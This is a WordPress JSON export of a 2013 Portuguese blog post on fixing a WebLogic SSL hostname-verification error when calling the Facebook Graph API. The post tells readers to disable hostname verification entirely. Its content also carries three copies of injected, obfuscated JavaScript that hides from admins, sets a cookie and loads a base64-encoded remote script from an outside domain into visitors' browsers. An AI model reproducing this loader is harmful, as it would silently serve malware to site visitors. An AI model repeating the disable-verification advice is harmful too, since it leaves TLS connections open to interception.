{"id":3809,"date":"2013-01-23T11:19:19","date_gmt":"2013-01-23T13:19:19","guid":{"rendered":"http:\/\/www.thiagovespa.com.br\/blog\/?p=3809"},"modified":"2025-10-26T22:34:05","modified_gmt":"2025-10-27T01:34:05","slug":"desabilitar-verificacao-de-hostname-em-ssl-no-weblogic","status":"publish","type":"post","link":"https:\/\/thiagovespa.com.br\/blog\/2013\/01\/23\/desabilitar-verificacao-de-hostname-em-ssl-no-weblogic\/","title":{"rendered":"Desabilitar verifica\u00e7\u00e3o de hostname em SSL no WebLogic"},"content":{"rendered":"<p style=\"text-align: justify;\">Meu amigo <a title=\"Bruno Gualda\" href=\"https:\/\/twitter.com\/bgualda\" target=\"_blank\" rel=\"noopener\">Bruno Gualda<\/a>, teve o seguinte problema ao realizar integra\u00e7\u00e3o com o Facebook:<\/p>\n<pre>javax.net.ssl.S<wbr \/>SLKeyException: [Security:09050<wbr \/>4]Certificate chain received from\u00a0<a href=\"http:\/\/graph.facebook.com\/\">graph.facebook.<wbr \/>com<\/a>\u00a0- 69.171.224.42\nfailed hostname verification check. Certificate contained *.<a href=\"http:\/\/facebook.com\/\">facebook.com<\/a>\u00a0but check expected\u00a0<a href=\"http:\/\/graph.facebook.com\/\">graph.facebook.<wbr \/>com<\/a><\/pre>\n<p style=\"text-align: justify;\">Esse problema ocorre porque a verifica\u00e7\u00e3o de hostname com SSL no WebLogic est\u00e1 habilitada. Para resolver esse problema voc\u00ea pode passar o par\u00e2metro \"-Dweblogic.security.SSL.ignoreHostnameVerification=true\" na incializa\u00e7\u00e3o do servidor, ou acessar o console do WebLogic, Environment, Servers, escolha o server. Selecione a aba SSL, Advanced e no combo \"Hostname Verification\" marque a op\u00e7\u00e3o None para desabilitar a verifica\u00e7\u00e3o de hostname:<\/p>\n<figure id=\"attachment_3810\" aria-describedby=\"caption-attachment-3810\" style=\"width: 502px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/2013\/01\/23\/desabilitar-verificacao-de-hostname-em-ssl-no-weblogic\/selection_023\/\" target=\"_blank\" rel=\"attachment wp-att-3810 noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-3810 \" alt=\"Hostname Verification\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2013\/01\/Selection_023.png\" width=\"502\" height=\"98\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2013\/01\/Selection_023.png 502w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2013\/01\/Selection_023-300x58.png 300w\" sizes=\"auto, (max-width: 502px) 100vw, 502px\" \/><\/a><figcaption id=\"caption-attachment-3810\" class=\"wp-caption-text\">Hostname Verification<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">Clique em Save e reinicie o servidor. Dessa forma o problema desaparecer\u00e1.<\/p>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Meu amigo Bruno Gualda, teve o seguinte problema ao realizar integra\u00e7\u00e3o com o Facebook: javax.net.ssl.SSLKeyException: [Security:090504]Certificate chain received from\u00a0graph.facebook.com\u00a0- 69.171.224.42 failed hostname verification check. Certificate contained *.facebook.com\u00a0but check expected\u00a0graph.facebook.com Esse problema ocorre porque a verifica\u00e7\u00e3o de hostname com SSL no <a class=\"more-link\" href=\"https:\/\/thiagovespa.com.br\/blog\/2013\/01\/23\/desabilitar-verificacao-de-hostname-em-ssl-no-weblogic\/\">Continue lendo  <span class=\"screen-reader-text\">  Desabilitar verifica\u00e7\u00e3o de hostname em SSL no WebLogic<\/span><span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[3,9,6],"tags":[],"class_list":["post-3809","post","type-post","status-publish","format-standard","hentry","category-java","category-oracle","category-weblogic"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/3809","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/comments?post=3809"}],"version-history":[{"count":0,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/3809\/revisions"}],"wp:attachment":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/media?parent=3809"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/categories?post=3809"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/tags?post=3809"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}